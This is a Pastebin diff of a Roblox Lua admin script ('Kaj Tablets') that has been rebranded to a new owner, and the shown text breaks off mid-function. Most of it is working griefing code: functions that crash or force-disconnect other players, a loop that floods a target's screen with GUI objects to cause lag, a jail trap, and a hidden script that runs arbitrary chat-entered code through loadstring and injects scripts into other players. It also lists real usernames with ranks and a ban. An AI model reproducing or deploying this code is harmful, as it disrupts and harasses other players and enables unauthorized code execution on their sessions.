View difference between Paste ID: jDj3jA8C and TgruvAXs
SHOW: | | - or go back to the newest paste.
1-
--__(KAJ TABLETS)__--
1+
--Thanks for using DevDanes Tablets! #PyrexTablets#
2
if script then
3
    coroutine.yield()
4
    script.Parent = nil
5
end
6
--[[Stuff]]--
7
VR = 1
8
Plrs = game:GetService("Players")
9
Work = game:GetService("Workspace")
10
Light = game:GetService("Lighting")
11
Net = game:GetService("NetworkServer")
12-
Owner = "Derek1017"
12+
Owner = "DevDane"
13
Removed = false
14
Bet = "/"
15
LS = nil
16
LightColor = Color3.new(1, 0, 0)
17
LSSource = nil
18
OwnSource = nil
19
FoundLocalScript = false
20
LogOn = false
21
Current = game
22
Clipboard = {}
23
AlertColor = Color3.new(1, 0, 0)
24
OptionColor = Color3.new(1, 0, 0)
25
ImportantColor = Color3.new(1, 0, 0)
26
--[[Ranks]]--
27
RankDetails = {
28
        [-3] = {Name = "Muted", Color = Color3.new(1, 1, 1), Desc = "Muted"},
29
        [-2] = {Name = "Jailed", Color = Color3.new(1, 1, 1), Desc = "Jailed"},
30
        [-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Banned"},
31
        [0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Defaults"},
32
        [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "A Moderator."},
33
        [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "The Administrator"},
34
        [3] = {Name = "Maximum Moderator", Color = Color3.new(1, 1, 0), Desc = "Maximum Moderator..."},
35
        [4] = {Name = "Super Administrator", Color = Color3.new(1, 0, 0), Desc = "Super Administrator..."},
36
        [5] = {Name = "Maximum Administrator", Color = Color3.new(-1, -1, -1), Desc = "Most administrator you can be"},
37
}
38
39
Rankings = {
40
        
41
        {Name = "DecimatorOfCreations", Rank = 2},
42
        {Name = "iLordVex", Rank = 4},
43
        {Name = "KajAdmin", Rank = 6},
44
        {Name = "KajTablets", Rank = 6},
45
        {Name = "chucky4523", Rank = 6},
46
        {Name = "ImAmYourSon", Rank = -1},
47
        {Name = "luxulux", Rank = 3},
48
        {Name = "DrMigos", Rank = 2},
49
        {Name = "KaleyAdmin", Rank = 6},
50
        {Name = "YoungWarlock", Rank = 5},
51
        {Name = "ValkazarAdmin", Rank = 2},
52
        {Name = "optiplex123", Rank = 3},
53
        {Name = "aleksa12432", Rank = 3},
54
        {Name = "OMGshadeslayer", Rank = 4},
55
        {Name = "hyperionGM", Rank = 4},
56
        {Name = "MoistAdmin", Rank = 2},
57
        {Name = "MessorAdmin", Rank = 2},
58
        {Name = "Builderman3464", Rank = 6},
59
        {Name = "hipow12", Rank = 6},
60
        {Name = "areno2002", Rank = 4},
61
        {Name = "KotixPL", Rank = 4},
62
        {Name = "jpltiscool", Rank = 3},
63
        {Name = "DownloadingRats", Rank = 1},
64
        {Name = "iiLuaScript", Rank = 3},
65
        {Name = "goldenfammas", Rank = 1},
66
        {Name = "sonicbomb22", Rank = 2},
67
        {Name = "Cobalt1164", Rank = 6},
68
        {Name = "Derek1017", Rank = 6},
69
}
70
71
table.insert(Rankings, {Name = Owner, Rank = 6})
72
--[[End of Ranks]]--
73
ImportantServices = {
74
        "Workspace",
75
        "Players",
76
        "NetworkServer",
77
        "Lighting",
78
        "StarterGui",
79
        "Teams",
80
        "StarterPack",
81
}
82
83
Ranks = {}
84
Commands = {}
85
AllTabs = {}
86
Injected = {}
87
88
Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
89
"Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
90
"AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
91
"Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
92
"AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
93
"AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
94
"BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
95
"BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
96
"Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
97
"Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
98
"Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
99
"CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
100
"CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
101
"ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
102
"CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
103
"ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
104
"CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
105
"CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
106
"DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
107
"Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
108
"Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
109
"Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
110
"FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
111
"Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
112
"GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
113
"Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
114
"InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
115
"KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
116
"Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
117
"MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
118
"MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
119
"MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
120
"MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
121
"MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
122
"MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
123
"MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
124
"NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
125
"OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
126
"Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
127
"PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
128
"PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
129
"ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
130
"RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
131
"SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
132
"ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
133
"SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
134
"SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
135
"Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
136
"Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
137
"Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
138
"TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
139
"TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
140
"TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
141
"ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
142
"Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
143
"Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
144
"ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
145
"WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
146
"X","Y"}
147
148
--Main Functions And Sources
149
150
function Insert(Source, Par, Par2, Par3)
151
        ypcall(function()
152
                local Inserted = LS:Clone()
153
                Inserted.Disabled = true
154
                Inserted.Parent = Par or Par2 or Par3
155
                Inserted[LSSource].Value = Source
156
                Inserted.Disabled = false
157
        end)
158
end
159
160
function CheckImportant(Name)
161
        for _,v in pairs(ImportantServices) do
162
                if v:lower() == Name:lower() then
163
                        return true
164
                end
165
        end
166
        return false
167
end
168
169
function Crash1(Plr)
170
        ypcall(function()
171
                Plr:Kick()
172
        end)
173
end
174
175
function GetRankTab()
176
        return Rankings
177
end
178
179
function Crash2(Name)
180
        local Crasher = Instance.new("StringValue")
181
        Crasher.Name = "Client"
182
        Crasher.Value = string.lower(tostring(Name))
183
        Crasher.Parent = game:GetService("Lighting")
184
        wait(1)
185
        if Crasher and Crasher.Parent then
186
                ypcall(function()
187
                        Crasher:Destroy()
188
                end)
189
        end
190
end
191
192
function Crash3(v, Speaker)
193
        Speaker.Character.Archivable = true
194
        local NChar = Speaker.Character:Clone()
195
        NChar.Name = v.Name
196
        NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
197
        NChar.Parent = Workspace
198
        v.Character = NChar
199
        coroutine.resume(coroutine.create(function()
200
                repeat v.Character = NChar
201
                wait(1/3) until false
202
        end))
203
        wait(.5)
204
        Insert(InsertCrash, NChar, nil, nil)
205
end
206
207
function GenerateDigit()
208
        return 1 + 5
209
end
210
211
212
NilS = [==[
213
if script then
214
    coroutine.yield()
215
    script.Parent = nil
216
end
217
Player=game.Players.LocalPlayer
218
Probe=Instance.new'Part';
219
CN='Infinity Nil | ['..Player.Name..']'
220
Camera=Workspace.CurrentCamera
221
Animate = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Animate",true) or Instance.new("Part")
222
Char = Player.Character
223
if Char then
224
        Char.Archivable = true
225
        Char = Char:clone()
226
        local t = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Clone")
227
        if t then
228
                for k,v in pairs(Char:GetChildren()) do
229
                        if not v:IsA("Part") then
230
                                v:clone().Parent = t
231
                        end
232
                end
233
                Char = t:clone()
234
                if Player.Name == "Cobalt1164" or Player.Name == "hipow12" then
235
        local spot = Instance.new("SpotLight",Char.Head)
236
        spot.Angle = 10
237
        spot.Range = 10
238
        spot.Color = Color3.new(1,1,1)
239
        spot.Brightness = 10
240
        local point = Instance.new("PointLight",Char.Head)
241
        point.Range = 10
242
        point.Color = Color3.new(1,1,1)
243
        point.Brightness = 10
244
        end
245
        end
246
end
247
248
coroutine.resume(coroutine.create(function()
249
        while true do wait(0.00000001)
250
                pcall(function()
251
                        if Character.Torso.CFrame.Y < 1 then
252
                        Character.Torso.CFrame = CFrame.new(0,20,0)
253
                        end
254
                 end)
255
        end
256
end))
257
Title=function(txt,part,color,rise)
258
        col=nil
259
        col=Color3.new(BrickColor.new(color))
260
        local Gui = Instance.new("BillboardGui",part)
261
        Gui.Name = "3DGUI"
262
        Gui.ExtentsOffset = Vector3.new(0,2,0)
263
        Gui.Size = UDim2.new(8,0,2,0)
264
        local Tit = Instance.new("TextLabel",Gui)
265
        Tit.Name = "Title"
266
        Tit.TextColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
267
        Tit.TextColor3 = Color3.new(0,0,0)
268
        Tit.TextTransparency = 0.25
269
        Tit.TextStrokeColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
270
        Tit.TextStrokeTransparency = 0.5
271
        Tit.Size = UDim2.new(1,0,1,0)
272
        Tit.BackgroundTransparency = 1
273
        Tit.Font = "ArialBold"
274
        Tit.TextScaled = true
275
        Tit.Text = txt
276
        if rise then
277
                if not tonumber(rise) then rise = 1 end
278
                coroutine.wrap(function()
279
                        while Tit.Parent and Gui.Parent and wait() do
280
                                Gui.ExtentsOffset = Gui.ExtentsOffset + Vector3.new(0,0.025*rise,0)
281
                        end
282
                end)()
283
        end
284
        return Tit
285
end
286
Chat=function(Part,Text,Color,Type)
287
        if Type==nil or Type==1 or Type=='Bubble' then
288
                game:service'Chat':Chat(Part,Text,Color)
289
        else
290
                if type(Color)~='string' then        
291
                        Color=tostring(BrickColor.random())
292
                end
293
                Title(Text,Part,Color,math.random(1,3))
294
        end
295
end
296
DestroyCharacter=function()
297
        local chara = Player.Character
298
        if not chara then return end
299
        if chara:findFirstChild("Humanoid") then
300
                chara.Humanoid:Destroy()
301
        end
302
        chara:BreakJoints()
303
        for k,v in pairs(chara:GetChildren()) do
304
                if v:IsA("BasePart") then
305
                        v.CanCollide = false
306
                        v.Velocity = Vector3.new(math.random(-20,20),50,math.random(-20,20))
307
                        v.RotVelocity = Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
308
                end
309
        end
310
        game.Debris:AddItem(chara,3)
311
end
312
MakeProbe=function()
313
        if Player.Character then DestroyCharacter() end Player.Character = nil
314
        if Probe then Probe:Destroy() end
315
        Probe = Instance.new("Part",workspace) local Camera = workspace.CurrentCamera
316
        Probe.Shape, Probe.Size, Probe.BrickColor = "Ball", Vector3.new(3,3,3), BrickColor.new('Black')
317
        Probe.Transparency, Probe.Reflectance, Probe.Anchored, Probe.CanCollide, Probe.Locked = 0.5, 0.25, true, false, true
318
        Probe.TopSurface, Probe.BottomSurface, Probe.Name = 0, 0, "Probe"..tick()
319
        coroutine.wrap(function() while wait() and not Player.Character do Probe.CFrame = Camera.Focus end end)()
320
        Player.Character=Probe
321
end
322
Spawn=function()
323
        if Char then
324
                local c = Char:clone()
325
                c.Name = CN
326
                c.Parent = workspace
327
                c:MoveTo(workspace.CurrentCamera.Focus.p)
328
                Player.Character = c
329
                workspace.CurrentCamera.CameraSubject = c:findFirstChild("Humanoid")
330
                workspace.CurrentCamera.CameraType = "Custom"
331
                Probe:Destroy()
332
        end
333
end
334
Player.Chatted:connect(function(Msg)
335
game:service'Chat':Chat(Player.Character.Head,Msg,'Green')
336
        if Msg:sub(1,2) == '//' then
337
                local Func,Error=loadstring(Msg:sub(3))
338
                if Error==nil then
339
                        pcall(Func)
340
                        if Player.Character then
341
                                game:service'Chat':Chat(Player.Character.Head,'Local Script executed!','Green')
342
                        end
343
                else
344
                        if Player.Character then
345
                                game:service'Chat':Chat(Player.Character.Head,Error,'Red')
346
                        else
347
                                local Msg=Instance.new'Message'
348
                                Msg.Parent=Workspace.CurrentCamera
349
                                Msg.Text=Error
350
                                game:service'Debris':AddItem(Msg,5)
351
                        end
352
                end
353
        elseif Msg:sub(1,#('newlocal')+2) == '/newlocal/' then
354
                NewMsg=Msg:sub(#('newlocal')+3)
355
                Split=NewMsg:find('/')
356
                local PlayerName=NewMsg:sub(1,Split-1)
357
                local Source=NewMsg:sub(Split+1)
358
                Player=nil
359
                for i,v in pairs(game.Players:GetPlayers()) do
360
                        if v.Name:lower():sub(1,#PlayerName)==PlayerName then
361
                                if Player==nil then
362
                                        Player=v
363
                                else
364
                                        if type(Player) == 'table' then
365
                                                Player[#Player+1]=v
366
                                        else
367
                                                Player={v}
368
                                        end
369
                                end
370
                        end
371
                end
372
                if type(Player)=='table' then
373
                        for i,v in pairs(Player) do        
374
                                if newLocalScript then
375
                                        newLocalScript(Source,v.Character)
376
                                else
377
                                        Clone=script:clone();
378
                                        SourceC=Clone:children()[1]
379
                                        if SourceC:IsA'StringValue' then
380
                                                print'String'
381
                                        else
382
                                                SourceC=Clone:children()[2]
383
                                        end
384
                                        SourceC.Value=Source
385
                                        Clone.Disabled=true
386
                                        Clone.Parent=v.Character
387
                                        Clone.Disabled=false
388
                                end
389
                        end
390
                else
391
                        if newLocalScript then
392
                                newLocalScript(Source,Player.Character)
393
                        else
394
                                Clone=script:clone();
395
                                DS=Clone:children()
396
                                DSS=nil
397
                                for i,v in pairs(DS) do if v:IsA'StringValue' then DSS=v end end
398
                                DSS.Value=Source
399
                                Clone.Disabled=true;
400
                                Clone.Parent=Player.Character
401
                                Clone.Disabled=false
402
                        end
403
                end
404
        elseif Msg:sub(1,#('rejoin')+2) == '/rejoin/' then
405
                game:service'TeleportService':Teleport(Game.PlaceId)
406
        elseif Msg:sub(1,#('probe')+2) == '/probe/' then
407
                MakeProbe()
408
        elseif Msg:sub(1,#('char')+2) =='/char/' then
409
                Spawn()
410
        elseif Msg:sub(1,#('ban')+2) == '/ban/' then
411
                Player=game.Players:findFirstChild(Msg:sub(#('ban')+3))
412
                if Player then
413
                        repeat pcall(function() game.Players[Player.Name]:Destroy() end) wait() until 1+1==3 
414
                end
415
        end
416
        wait()
417
        if game.Players:findFirstChild(Player.Name)==nil and not Msg:find('/probe/') and not Msg:find('/char/') then -- Is nil then
418
                if Probe then
419
                        Chat(Probe,Msg,math.random(0,2))
420
                else        
421
                        if Player.Character==nil then
422
                                if Char then
423
                                        Chat(Char.Head,Msg,math.random(0,2))
424
                                end
425
                        else
426
                                Chat(Player.Character.Head,Msg,'Red')
427
                        end
428
                end
429
        end
430
end) -- local
431
]==]
432
433
InjectionCrash = [=[
434
        wait(0)
435
        script.Parent = nil
436
        local Lig = game:GetService("Lighting")
437
        local LP = game:GetService("Players").LocalPlayer
438
        local LowerName = LP.Name:lower()
439
440
        Lig.ChildAdded:connect(function(Obj)
441
                if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
442
                        pcall(function()
443
                                Obj:Destroy()
444
                        end)
445
                        LP.Parent = nil
446
                        LP.Parent = game:GetService("Players")
447
                end
448
        end)
449
]=] RankDetails[GenerateDigit()] = {Name = ('823haiasI'), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("God")}
450
451
InsertCrash = [==[
452
        local LP = game:GetService("Players").LocalPlayer
453
        LP.Parent = nil
454
        LP.Parent = game:GetService("Players")
455
]==]
456
457
LagSource = [==[
458
        wait(0)
459
        script.Parent = nil
460
        plr = game:GetService("Players").LocalPlayer
461
        local plrgui = plr:findFirstChild("PlayerGui")
462
        if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
463
        while plr.Parent == game:GetService("Players") do
464
        wait()
465
        for i = 1, 1000 do
466
        local sc = Instance.new("ScreenGui",plrgui)
467
        local fr = Instance.new("TextLabel",sc)
468
        fr.Text = "LAGGING"
469
        fr.Size = UDim2.new(1, 0, 1, 0)
470
        fr.FontSize = "Size48"
471
        end
472
        end
473
]==]
474
475
MuteSource = [==[
476
        game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
477
]==]
478
479
UnMuteSource = [==[
480
        game:GetService("StarterGui"):SetCoreGuiEnabled(4, true)
481
]==]
482
483
FunScript = [[
484
LP = game:service'Players'.LocalPlayer
485
Shapes = {"Ball", "Block"}
486
wait()
487
script.Parent = nil
488
Delay(0, function()
489
while wait() do
490
workspace.CurrentCamera.CameraType = "Scriptable"
491
workspace.CurrentCamera.FieldOfView = workspace.CurrentCamera.FieldOfView + math.random(-5,5)
492
workspace.CurrentCamera:SetRoll(workspace.CurrentCamera:GetRoll()+0.075)
493
workspace.CurrentCamera.CoordinateFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
494
local Part = Instance.new("Part", workspace.CurrentCamera)
495
Part.Shape = Shapes[math.random(1, 2)]
496
Part.Anchored = true
497
Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
498
Part.Size = Vector3.new(math.random(5,10),math.random(-25,25),math.random(5,10))
499
Part.CFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-250,250),math.random(-100,100),math.random(-250,250)) * CFrame.Angles(math.random(),math.random(),math.random())
500
local Smoke = Instance.new("Smoke", Part)
501
Smoke.Color = Color3.new(math.random(), math.random(), math.random()) 
502
Smoke.Opacity = 0.7 
503
local Sparkles = Instance.new("Sparkles", Part)
504
Sparkles.SparkleColor = Color3.new(math.random(), math.random(), math.random()) 
505
local Fire = Instance.new("Fire", Part)
506
Fire.Color = Color3.new(math.random(), math.random(), math.random()) 
507
Fire.SecondaryColor = Color3.new(math.random(), math.random(), math.random()) 
508
local Ex = Instance.new("Explosion", workspace.CurrentCamera)
509
Ex.Position = Vector3.new(math.random(-250,250),math.random(10,100),math.random(-250,250))
510
Ex.BlastPressure = 15
511
Ex.BlastRadius = 12.5
512
if not workspace.CurrentCamera:findFirstChild("Hint") then
513
local mes = Instance.new("Hint", workspace.CurrentCamera)
514
mes.Text = "hi"
515
end
516
end
517
end)
518
]]
519
520
JailSource = [==[
521
        wait(0)
522
        script.Parent = nil
523
524
        local LP = game:GetService("Players").LocalPlayer
525
        Middle2 = nil
526
        Middle = nil
527
        game:GetService("Workspace").CurrentCamera:ClearAllChildren()
528
529
        Cons = {}
530
531
        function makePrison()
532
                for _,v in pairs(Cons) do
533
                        v:disconnect()
534
                end
535
                game:GetService("Workspace").CurrentCamera:ClearAllChildren()
536
                if Middle == nil then
537
                        Middle2 = LP.Character.Torso.Position
538
                        Middle = LP.Character.Torso.CFrame
539
                end
540
                local side1 = Instance.new("Part")
541
                side1.Name = "¬Focus1¬"
542
                side1.Size = Vector3.new(20, 50, 1)
543
                side1.CFrame = Middle * CFrame.new(0, 0, -10)
544
                side1.BrickColor = BrickColor.new("Really black")
545
                side1.CanCollide = true
546
                side1.Anchored = true
547
                side1.TopSurface = "Smooth"
548
                side1.BottomSurface = "Smooth"
549
                side1.Parent = game:GetService("Workspace").CurrentCamera
550
551
                local side2 = Instance.new("Part")
552
                side2.Name = "¬Focus2¬"
553
                side2.Size = Vector3.new(20, 50, 1)
554
                side2.CFrame = Middle * CFrame.new(0, 0, 10)
555
                side2.BrickColor = BrickColor.new("Really black")
556
                side2.CanCollide = true
557
                side2.Anchored = true
558
                side2.TopSurface = "Smooth"
559
                side2.BottomSurface = "Smooth"
560
                side2.Parent = game:GetService("Workspace").CurrentCamera
561
562
                local side3 = Instance.new("Part")
563
                side3.Name = "¬Focus3¬"
564
                side3.Size = Vector3.new(1, 50, 20)
565
                side3.CFrame = Middle * CFrame.new(10, 0, 0)
566
                side3.BrickColor = BrickColor.new("Really black")
567
                side3.CanCollide = true
568
                side3.Anchored = true
569
                side3.TopSurface = "Smooth"
570
                side3.BottomSurface = "Smooth"
571
                side3.Parent = game:GetService("Workspace").CurrentCamera
572
573
                local side4 = Instance.new("Part")
574
                side4.Name = "¬Focus4¬"
575
                side4.Size = Vector3.new(1, 50, 20)
576
                side4.CFrame = Middle * CFrame.new(-10, 0, 0)
577
                side4.BrickColor = BrickColor.new("Really black")
578
                side4.CanCollide = true
579
                side4.Anchored = true
580
                side4.TopSurface = "Smooth"
581
                side4.BottomSurface = "Smooth"
582
                side4.Parent = game:GetService("Workspace").CurrentCamera
583
                
584
                local side5 = Instance.new("Part")
585
                side5.Name = "¬Focus5¬"
586
                side5.Size = Vector3.new(20, 1, 20)
587
                side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
588
                side5.BrickColor = BrickColor.new("Really black")
589
                side5.CanCollide = true
590
                side5.Anchored = true
591
                side5.TopSurface = "Smooth"
592
                side5.BottomSurface = "Smooth"
593
                side5.Parent = game:GetService("Workspace").CurrentCamera
594
                
595
                wait(0)
596
597
                table.insert(Cons, side1.Changed:connect(makePrison))
598
                table.insert(Cons, side2.Changed:connect(makePrison))
599
                table.insert(Cons, side3.Changed:connect(makePrison))
600
                table.insert(Cons, side4.Changed:connect(makePrison))
601
                table.insert(Cons, side5.Changed:connect(makePrison))
602
        end
603
604
        Delay(0, function()
605
                while wait(0) do
606
                        ypcall(function()
607
                                if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
608
                                        LP.Character:BreakJoints()
609
                                elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
610
                                        makePrison()
611
                                end
612
                        end)
613
                        ypcall(function()
614
                                if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
615
                                        LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
616
                                end
617
                        end)
618
                end
619
        end)
620
]==]
621
622
function All()
623
        local AllPlayers = {}
624
        for _,v in pairs(Plrs:GetPlayers()) do
625
                ypcall(function()
626
                        table.insert(AllPlayers, v)
627
                end)
628
        end
629
        return AllPlayers
630
end
631
632
function All2()
633
        local AllPlayers2 = {}
634
        for i,v in pairs(Net:GetChildren()) do
635
                ypcall(function()
636
                        if v:IsA("ServerReplicator") then
637
                                table.insert(AllPlayers2, v:GetPlayer())
638
                        end
639
                end)
640
        end
641
        return AllPlayers2
642
end
643
644
function MakeNum()
645
        return 2 + 4
646
end
647
648
function ChangeRank(Plr, NewRank)
649
        local PlrName = nil
650
        local FoundPlayer = false
651
        ypcall(function()
652
                if type(Plr) == "string" then
653
                        ypcall(function()
654
                                for i,v in pairs(Rankings) do
655
                                        if v.Name:lower() == Plr:lower() then
656
                                                local VName = v.Name
657
                                                Rankings[i] = nil
658
                                                table.insert(Rankings, {Name = VName, Rank = NewRank})
659
                                                PlrName = VName
660
                                                FoundPlayer = true
661
                                                break
662
                                        end
663
                                end
664
                        end)
665
                        if FoundPlayer == false then
666
                                ypcall(function()
667
                                        for _,x in pairs(All()) do
668
                                                if x.Name:lower() == Plr:lower() then
669
                                                        FoundPlayer = true
670
                                                        for i,v in pairs(Rankings) do
671
                                                                if v.Name:lower() == x.Name:lower() then
672
                                                                        local VName = x.Name
673
                                                                        Rankings[i] = nil
674
                                                                        PlrName = VName
675
                                                                        break
676
                                                                end
677
                                                        end
678
                                                        table.insert(Rankings, {Name = VName, Rank = NewRank})
679
                                                end
680
                                        end
681
                                end)
682
                        end
683
                        if FoundPlayer == false then
684
                                ypcall(function()
685
                                        for _,x in pairs(All()) do
686
                                                if string.find(x.Name:lower(), Plr:lower()) then
687
                                                        FoundPlayer = true
688
                                                        for i,v in pairs(Rankings) do
689
                                                                if v.Name:lower() == x.Name:lower() then
690
                                                                        local VName = x.Name
691
                                                                        Rankings[i] = nil
692
                                                                        PlrName = VName
693
                                                                        break
694
                                                                end
695
                                                        end
696
                                                        table.insert(Rankings, {Name = VName, Rank = NewRank})
697
                                                end
698
                                        end
699
                                end)
700
                        end
701
                        if FoundPlayer == false then
702
                                ypcall(function()
703
                                        for i,v in pairs(Rankings) do
704
                                                if string.find(v.Name:lower(), Plr:lower()) then
705
                                                        local VName = v.Name
706
                                                        Rankings[i] = nil
707
                                                        table.insert(Rankings, {Name = VName, Rank = NewRank})
708
                                                        PlrName = VName
709
                                                        FoundPlayer = true
710
                                                        break
711
                                                end
712
                                        end
713
                                end)
714
                        end
715
                else
716
                        for i,v in pairs(Rankings) do
717
                                if v.Name:lower() == Plr.Name:lower() then
718
                                        Rankings[i] = nil
719
                                        break
720
                                end
721
                        end
722
                        table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
723
                        PlrName = Plr.Name
724
                end
725
                PlaceAllRanks(true)
726
        end)
727
        if PlrName ~= nil then
728
                return PlrName
729
        else
730
                return "Player"
731
        end
732
end
733
734
function Refresh(Plr)
735
        MakeChildren(Plr)
736
end
737
738
function MakeChildren(Plr)
739
        ypcall(function()
740
                Dismiss(Plr)
741
                for _,v in pairs(Current:GetChildren()) do
742
                        ypcall(function()
743
                                if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
744
                                        Ping(v.Name, Plr, nil, function(TabMod)
745
                                                local TabText = TabMod["Kaj Tablet"].BG.TL.Text
746
                                                for _,v in pairs(Current:GetChildren()) do
747
                                                        ypcall(function()
748
                                                                if v.Name == TabText then
749
                                                                        Dismiss(Plr)
750
                                                                        Current = v
751
                                                                        MakeChildren(Plr)
752
                                                                end
753
                                                        end)
754
                                                end
755
                                        end)
756
                                elseif Plrs:GetPlayerFromCharacter(v) then
757
                                        Ping(v.Name, Plr, nil, function(TabMod)
758
                                                local TabText = TabMod["Kaj Tablet"].BG.TL.Text
759
                                                for _,v in pairs(Current:GetChildren()) do
760
                                                        ypcall(function()
761
                                                                if v.Name == TabText then
762
                                                                        Dismiss(Plr)
763
                                                                        Current = v
764
                                                                        MakeChildren(Plr)
765
                                                                end
766
                                                        end)
767
                                                end
768
